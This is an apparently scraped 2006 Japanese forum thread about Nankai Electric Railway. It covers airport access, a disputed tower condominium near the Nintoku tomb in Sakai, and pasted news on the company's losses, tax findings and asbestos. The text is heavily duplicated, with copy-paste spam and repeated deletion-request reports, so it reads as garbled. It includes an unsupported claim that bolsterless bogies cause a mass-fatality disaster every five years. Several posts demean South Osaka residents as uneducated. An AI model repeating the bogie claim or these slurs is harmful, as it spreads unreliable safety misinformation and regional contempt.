警告：このスレが削除依頼に出されています！
削除されてやり直した方がよい
国道交通省などが関空（国内線）の利用促進の一環で夜間の空港アクセスの改善を各社に要請へ。
同時に航空会社へも要請。２０００年ごろには年間８００万人ほどの関空の国内線利用客が、０４年度には４１８万人まで減少していた。
南海は夜間のラピートを増発する程度でないかと考えられる。上り方面は要請されたように、空港から難波へのアクセス改善になり、
折り返しの下り方面は、難波から泉佐野方面の通勤利用客の特急利用機会を広められるなど南海にもメリットがあると考えられる。
空港急行は状況を考えると増発は難しいと思われる。課題もある。増発に見合った利用客の増加が必ず期待できるものでもない。
相変わらず関空は遠くて交通費も高いとの意見が多く、すんなり定着するとも考えにくい。
環境意識の高まりから地球温暖化の原因となる二酸化炭素の排出量が航空機の２割程度の新幹線の利用を奨励する企業も増えるなど
国交省の思惑通りになるかは未知数。関空二期工事を正当化したい役人に当の航空会社が相手しなければ何も始まらない。
阪和線の新しくなった高架部分の電気･送電設備は非常にスッキリ対する南海は泉佐野付近でも従来のまま。コスト削減する気ないのかね。
ボルスタレス台車は危険です。この台車のせいで５年に１回大惨事が起こり100人以上の命が奪われました。
ボルスタレス台車というのは文字通り「ボルスタ」という部品を省略した台車でとても重い電車の車体を小さい空気ばねだけで支えるという非常に危険なものです。
鉄道評論家の川島令三さんは早くからこの危険性を指摘してましたが大手のマスコミや鉄道雑誌などはこれを無視しました。
またネット上でボルスタレス台車を批判すると必ず台車メーカーの社員と思われる人物がやってきて安全だと根拠もなく言い張りました。
その結果危険が放置されあのおぞましい大惨事が発生したのです。このような事態が続いていいのでしょうか。
国土交通省はボルスタレス台車の製造と使用を禁止させるべきだと思います。また鉄道会社もボルスタレスの電車を普通の台車に交換をしたり廃車にすべきだと思います。
同時に航空会社へも要請。２０００年ごろには年間８００万人ほどの関空の国内線利用客が、０４年度には４１８万人まで減少していた。
南海は夜間のラピートを増発する程度でないかと考えられる。上り方面は要請されたように、空港から難波へのアクセス改善になり、
折り返しの下り方面は、難波から泉佐野方面の通勤利用客の特急利用機会を広められるなど南海にもメリットがあると考えられる。
空港急行は状況を考えると増発は難しいと思われる。課題もある。増発に見合った利用客の増加が必ず期待できるものでもない。
相変わらず関空は遠くて交通費も高いとの意見が多く、すんなり定着するとも考えにくい。
環境意識の高まりから地球温暖化の原因となる二酸化炭素の排出量が航空機の２割程度の新幹線の利用を奨励する企業も増えるなど
国交省の思惑通りになるかは未知数。関空二期工事を正当化したい役人に当の航空会社が相手しなければ何も始まらない。
阪和線の新しくなった高架部分の電気･送電設備は非常にスッキリ対する南海は泉佐野付近でも従来のまま。コスト削減する気ないのかね。
ボルスタレス台車は危険です。この台車のせいで５年に１回大惨事が起こり100人以上の命が奪われました。
ボルスタレス台車というのは文字通り「ボルスタ」という部品を省略した台車でとても重い電車の車体を小さい空気ばねだけで支えるという非常に危険なものです。
鉄道評論家の川島令三さんは早くからこの危険性を指摘してましたが大手のマスコミや鉄道雑誌などはこれを無視しました。
またネット上でボルスタレス台車を批判すると必ず台車メーカーの社員と思われる人物がやってきて安全だと根拠もなく言い張りました。
その結果危険が放置されあのおぞましい大惨事が発生したのです。このような事態が続いていいのでしょうか。
国土交通省はボルスタレス台車の製造と使用を禁止させるべきだと思います。また鉄道会社もボルスタレスの電車を普通の台車に交換をしたり廃車にすべきだと思います。
引っ越し厨被害報告206：南海スレ住人：2006/05/20(土)19:07:57 HOST:ZL175196.ppp.dion.ne.jp
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/142-144,151-161
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ
【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】 (DAT落ち)ttp://hobby7.2ch.net/test/read.cgi/rail/1146932522/
743,745,753,818【泉佐野←】南海電気鉄道ｽﾚｯﾄﾞNa71【⇒吉見ノ里】
ttp://hobby7.2ch.net/test/read.cgi/rail/1147878431/7-8,10-12,22-23,39,48-50,84,135,139,166,177,190-195,198
何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/206
引っ越し厨被害報告２208：南海スレ住人：2006/05/22(月) 09:32:41 HOST:ZL175196.ppp.dion.ne.jp
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/162,164-171削除理由・詳細・その他：
６． 連続投稿・重複連続投稿・コピー＆ペースト【泉佐野←】南海電気鉄道ｽﾚｯﾄﾞNa71【⇒吉見ノ里】
ttp://hobby7.2ch.net/test/read.cgi/rail/1147878431/218,268,270-271,293,322,324-325,349
何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/208
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/142-144,151-161
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ
【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】 (DAT落ち)ttp://hobby7.2ch.net/test/read.cgi/rail/1146932522/
743,745,753,818【泉佐野←】南海電気鉄道ｽﾚｯﾄﾞNa71【⇒吉見ノ里】
ttp://hobby7.2ch.net/test/read.cgi/rail/1147878431/7-8,10-12,22-23,39,48-50,84,135,139,166,177,190-195,198
何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/206
引っ越し厨被害報告２208：南海スレ住人：2006/05/22(月) 09:32:41 HOST:ZL175196.ppp.dion.ne.jp
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/162,164-171削除理由・詳細・その他：
６． 連続投稿・重複連続投稿・コピー＆ペースト【泉佐野←】南海電気鉄道ｽﾚｯﾄﾞNa71【⇒吉見ノ里】
ttp://hobby7.2ch.net/test/read.cgi/rail/1147878431/218,268,270-271,293,322,324-325,349
何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/208
188 ：名無し野電車区：2006/05/27(土) 00:20:01 ID:Rkzfj2Ab0
削除決定？
引っ越し返しするぞ引っ越し返し187 ：名無しでGO!：2006/05/26(金) 22:09:31 ID:RWlxteRR0
引っ越し厨被害報告206：南海スレ住人：2006/05/20(土)19:07:57 HOST:ZL175196.ppp.dion.ne.jp
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/142-144,151-161
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ
【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】 (DAT落ち)ttp://hobby7.2ch.net/test/read.cgi/rail/1146932522/
743,745,753,818【泉佐野←】南海電気鉄道ｽﾚｯﾄﾞNa71【⇒吉見ノ里】
ttp://hobby7.2ch.net/test/read.cgi/rail/1147878431/7-8,10-12,22-23,39,48-50,84,135,139,166,177,190-195,198
何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/206
引っ越し厨被害報告２208：南海スレ住人：2006/05/22(月) 09:32:41 HOST:ZL175196.ppp.dion.ne.jp
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/162,164-171削除理由・詳細・その他：
６． 連続投稿・重複連続投稿・コピー＆ペースト【泉佐野←】南海電気鉄道ｽﾚｯﾄﾞNa71【⇒吉見ノ里】
ttp://hobby7.2ch.net/test/read.cgi/rail/1147878431/218,268,270-271,293,322,324-325,349
何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/208
引っ越し厨被害報告206：南海スレ住人：2006/05/20(土)19:07:57 HOST:ZL175196.ppp.dion.ne.jp
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【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】 (DAT落ち)ttp://hobby7.2ch.net/test/read.cgi/rail/1146932522/
743,745,753,818【泉佐野←】南海電気鉄道ｽﾚｯﾄﾞNa71【⇒吉見ノ里】
ttp://hobby7.2ch.net/test/read.cgi/rail/1147878431/7-8,10-12,22-23,39,48-50,84,135,139,166,177,190-195,198
何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/206
引っ越し厨被害報告２208：南海スレ住人：2006/05/22(月) 09:32:41 HOST:ZL175196.ppp.dion.ne.jp
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６． 連続投稿・重複連続投稿・コピー＆ペースト【泉佐野←】南海電気鉄道ｽﾚｯﾄﾞNa71【⇒吉見ノ里】
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さすが南海。住民の反対を無視する反社会的企業として、ＭＢＳ夕方の番組・ＶＯＩＣＥで叩かれまくりですね。
■「世界遺産登録に“超高層”の影」 2006/05/23 放送 （長文のため一部省略）
この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。
超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。
しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。
なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。
建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。
それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。
そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉
「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。
（超高層マンションは）違和感のない景観だと思っています」＜続く＞
■「世界遺産登録に“超高層”の影」 2006/05/23 放送 （長文のため一部省略）
この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。
超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。
しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。
なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。
建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。
それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。
そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉
「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。
（超高層マンションは）違和感のない景観だと思っています」＜続く＞
しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。
反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。
地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。
〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたら
よくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。
堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉
「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。
ttp://mbs.jp/voice/special/200605/23_2733.shtml 京都府立大学・宗田好史助教授が述べているように、
南海が地元の反対意見を無視し、私利だけを優先させて高層マンションを建て、世界遺産登録が不可能になれば、
そりゃ全責任が南海にあるな。まったく、「公共」を名乗りながら「私利」しか頭にないおかしな会社ですね。
反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。
地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。
〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたら
よくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。
堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉
「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。
ttp://mbs.jp/voice/special/200605/23_2733.shtml 京都府立大学・宗田好史助教授が述べているように、
南海が地元の反対意見を無視し、私利だけを優先させて高層マンションを建て、世界遺産登録が不可能になれば、
そりゃ全責任が南海にあるな。まったく、「公共」を名乗りながら「私利」しか頭にないおかしな会社ですね。
南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、住民「景観壊す」
堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が
“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、
地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。
建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。
南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。
四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。
高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。
同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。
同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、
周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。
地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、
建設を中止しなければ世界遺産登録はありえない」と指摘。
ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が
持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、
低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。
堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が
“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、
地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。
建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。
南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。
四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。
高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。
同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。
同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、
周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。
地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、
建設を中止しなければ世界遺産登録はありえない」と指摘。
ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が
持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、
低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。
堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉
「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」
「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」
南海は、こんな住民感情や利用者感情を無視したことばっかりやってるから、
同業他社の乗客数が前年度比プラスに転じている中で、南海だけ乗客数の前年度比マイナスに歯止めがかからないんだよ。
同業他社の乗客数が前年度比プラスに転じている中で、南海だけ乗客数の前年度比マイナスに歯止めがかからないんだよ。
残念ながら各報道機関は、堺市よりも、営利のため住民の反対意見に耳を傾けようとしない南海の方を、悪く報じているね
日頃の社会活動の行いが悪いからw
その洗脳方法で、関西人は南海をロクでもない企業だと思っております。
ただでさえ南大阪はヤクザっぽくていい印象がないのに。
ただでさえ南大阪はヤクザっぽくていい印象がないのに。
減損処理で当期赤字に南海電鉄決算2006年05月12日
南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が
２１０億円に上り、当期損益は６５億円の赤字になった。www.asahi.com/kansai/news/OSK200605120072.html
南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が
２１０億円に上り、当期損益は６５億円の赤字になった。www.asahi.com/kansai/news/OSK200605120072.html
その分、資産の合計を減らしている。
資産を切り離して赤字幅を縮小してるだけであり、どこが優秀な経営なのか。
あんた、相当バカだね。
資産を切り離して赤字幅を縮小してるだけであり、どこが優秀な経営なのか。
あんた、相当バカだね。
こんな数字のからくり、工学部の俺でもわかるわけだが。この程度のことに気づかないとなると、
きっと高卒か、近大にすら落ちたんだろうな。さすが、低学歴の巣窟・南大阪関西の負け組が住むエリアで、
教育に力を入れていないというのがここでも浮き彫りwま、ＩＲ情報も満足に理解できないなら、
悪いことは言わないから、株には手を出さない方がいいってこった。
あ！学歴もなければ年収も低い南大阪人だったね。生活にそんな余裕ないかw
きっと高卒か、近大にすら落ちたんだろうな。さすが、低学歴の巣窟・南大阪関西の負け組が住むエリアで、
教育に力を入れていないというのがここでも浮き彫りwま、ＩＲ情報も満足に理解できないなら、
悪いことは言わないから、株には手を出さない方がいいってこった。
あ！学歴もなければ年収も低い南大阪人だったね。生活にそんな余裕ないかw
おたく、学歴コンプレックスをお持ちで？きっと、センター試験時点ですべて終わってしまったのだろう。
南大阪で生まれ育ったというのは、教育水準で大きなハンデを背負うことになるからなあ。
休車扱いでも一応２０００系はいつでも動ける準備をしているのであえてカウントさせていただく。
休車を除けば数字が不利になるしな（ｗ南海は全７００両のうち３３％（約二百数十両）が回生車両。
泉北高速は全体の５４％の６６両が回生車両（すべてインバーター制御車両）
阪急電鉄では約５割に相当する５７７両が回生車両（改造車両を含む）
環境への取り組みでは駅舎に太陽発電設備設置やＬＥＤ表示機などの設置を進めＩＳＯを取得した。
大阪市交通局ではすべての車両が回生車両となっている路線もある。
回生車両は都市部での運行で分があるから南海が割合が低くても効果が薄いのも事実。
鉄道会社は環境対策は後付の理由で費用を圧縮する為に回生車両を増やしてきている。
回生車両の割合は阪急のような改造車両を除けば基本的には新型車の割合とも見れる。
各社の財政事情によるところが大きい。
泉州は道路事情の影響が大きいが鉄道利用割合が低く勢力的な投資も容易ではない。
ここは１０００系再製造後の後の計画は事実上ない状態。今の南海は自分の足を食べて生きている蛸のような状態。
地下資源を持ち、それを売り出せる他私鉄とは財政状況が違う。
方針に一貫性がなく優秀な人材の維持すらままならないという。誰か会社を変えてやれ。
南大阪で生まれ育ったというのは、教育水準で大きなハンデを背負うことになるからなあ。
休車扱いでも一応２０００系はいつでも動ける準備をしているのであえてカウントさせていただく。
休車を除けば数字が不利になるしな（ｗ南海は全７００両のうち３３％（約二百数十両）が回生車両。
泉北高速は全体の５４％の６６両が回生車両（すべてインバーター制御車両）
阪急電鉄では約５割に相当する５７７両が回生車両（改造車両を含む）
環境への取り組みでは駅舎に太陽発電設備設置やＬＥＤ表示機などの設置を進めＩＳＯを取得した。
大阪市交通局ではすべての車両が回生車両となっている路線もある。
回生車両は都市部での運行で分があるから南海が割合が低くても効果が薄いのも事実。
鉄道会社は環境対策は後付の理由で費用を圧縮する為に回生車両を増やしてきている。
回生車両の割合は阪急のような改造車両を除けば基本的には新型車の割合とも見れる。
各社の財政事情によるところが大きい。
泉州は道路事情の影響が大きいが鉄道利用割合が低く勢力的な投資も容易ではない。
ここは１０００系再製造後の後の計画は事実上ない状態。今の南海は自分の足を食べて生きている蛸のような状態。
地下資源を持ち、それを売り出せる他私鉄とは財政状況が違う。
方針に一貫性がなく優秀な人材の維持すらままならないという。誰か会社を変えてやれ。
優秀な人材は、そもそも教育水準が低く低学歴の南大阪から輩出される確率が低い上に、
たとえ突然変異で生まれたとしても、会社として将来性も魅力もない南海には行かない。
結局、南大阪に残るのは、地元の低学歴・低脳な人間のみで、これでは会社を変えるような
優秀な人材はまったく入社しない。これが現実。
たとえ突然変異で生まれたとしても、会社として将来性も魅力もない南海には行かない。
結局、南大阪に残るのは、地元の低学歴・低脳な人間のみで、これでは会社を変えるような
優秀な人材はまったく入社しない。これが現実。
６５億円の赤字６５億円の赤字
204 ：名無し野電車区：2006/05/27(土) 22:22:03 ID:Rkzfj2Ab0
みなさん南大阪の感想をお聞かせ下さい
この前南海バスに乗ったが異常に運賃が高い
関西で一番南海バスが高いのかな
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207 ：名無し野電車区：2006/05/28(日) 00:49:07 ID:pgAqJvlN0
>>206貧乏なんだな
南海はあんまりいい会社ではないと思うがＪＲと健闘しているところはほめてやろう
209 ：名無し野電車区：2006/05/28(日) 01:56:54 ID:pgAqJvlN0
>>208それ書いたの俺、
害厨被害報告213：南海スレ住人：2006/05/27(土) 00:23:03 HOST:y181056.ppp.dion.ne.jp
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/
172,176,178,186削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペースト
【泉佐野←】南海電気鉄道ｽﾚｯﾄﾞNa71【⇒吉見ノ里】ttp://hobby7.2ch.net/test/read.cgi/rail/1147878431/
362-363,387-388,415,571,584,603,653-654何度も何度もすみません。よろしくお願いします。
ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/213
215：南海スレ住人：2006/05/27(土) 20:09:46 HOST:y181056.ppp.dion.ne.jp削除対象アドレス：
ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/187,189-203削除理由・詳細・その他：
６．連続投稿・重複連続投稿・コピー＆ペースト【泉佐野←】南海電気鉄道ｽﾚｯﾄﾞNa71【⇒吉見ノ里】
ttp://hobby7.2ch.net/test/read.cgi/rail/1147878431/748-749,770-776,780-781,784,787,790,793,798-799,801,821
何度も何度もすみません。よろしくお願いします。ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/215
削除対象アドレス：ttp://hobby7.2ch.net/test/read.cgi/train/1141056257/
172,176,178,186削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペースト
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362-363,387-388,415,571,584,603,653-654何度も何度もすみません。よろしくお願いします。
ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/213
215：南海スレ住人：2006/05/27(土) 20:09:46 HOST:y181056.ppp.dion.ne.jp削除対象アドレス：
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関空アクセスの改善だが、岸和田での急行の特急の退避接続
所用時間が無駄に間延びするだけだからやめればどうだろう
所用時間が無駄に間延びするだけだからやめればどうだろう
昔のラピートαみたく、「なんば → 関西空港」直行とか出来ないの？
まぁ、百歩譲って、「なんば → 新今宮 → 関西空港」って停車のαと、
「なんば → 新今宮 → 堺 → 岸和田 → 泉佐野 → りんくうタウン → 関西空港」って停車のβの２本立てで、
α・βとも各２本ダイヤ(なんば発 毎時００・３０分 α １５・４５分β 発とか)
まぁ、百歩譲って、「なんば → 新今宮 → 関西空港」って停車のαと、
「なんば → 新今宮 → 堺 → 岸和田 → 泉佐野 → りんくうタウン → 関西空港」って停車のβの２本立てで、
α・βとも各２本ダイヤ(なんば発 毎時００・３０分 α １５・４５分β 発とか)
赤字南海くたばれ！赤字南海くたばれ！赤字南海くたばれ！赤字南海くたばれ！赤字南海くたばれ！赤字南海くたばれ！赤字南海くたばれ！赤字南海くたばれ！
赤字南海くたばれ！赤字南海くたばれ！赤字南海くたばれ！赤字南海くたばれ！赤字南海くたばれ！赤字南海くたばれ！赤字南海くたばれ！赤字南海くたばれ！
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性善説がお好きなようですなあ・・・今南海線、日中は１５分ヘッドでっせ
難波で急行が特急続行なら最後まで後続に追いつかれることはない。
つまり物理的改善は不可能でなく可能
南海にやる気があるならやろうと思えば出来るんだよ。
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つまり物理的改善は不可能でなく可能
南海にやる気があるならやろうと思えば出来るんだよ。
赤字南海くたばれ！
南海ヲタの頭も腐ってます
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◆◇◆◇◆減損処理で当期赤字に 南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した
特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
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◆◇◆◇◆減損処理で当期赤字に 南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した
特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
◇◆◇◆◇南海電鉄が申告漏れ ３年間で３億５０００万円（共同通信）◇◆◇◆◇
南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、
重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。
しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして
重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。
不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html
南海電鉄 アスベストむき出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、
天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれは
ないとして撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html
南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、
重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。
しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして
重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。
不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html
南海電鉄 アスベストむき出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、
天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれは
ないとして撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html
南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、住民「景観壊す」
堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が
“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、
地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。
建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。
南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。
四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。
高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。
同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。
同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、
周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。
地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、
建設を中止しなければ世界遺産登録はありえない」と指摘。
ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が
持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、
低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。
堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が
“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、
地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。
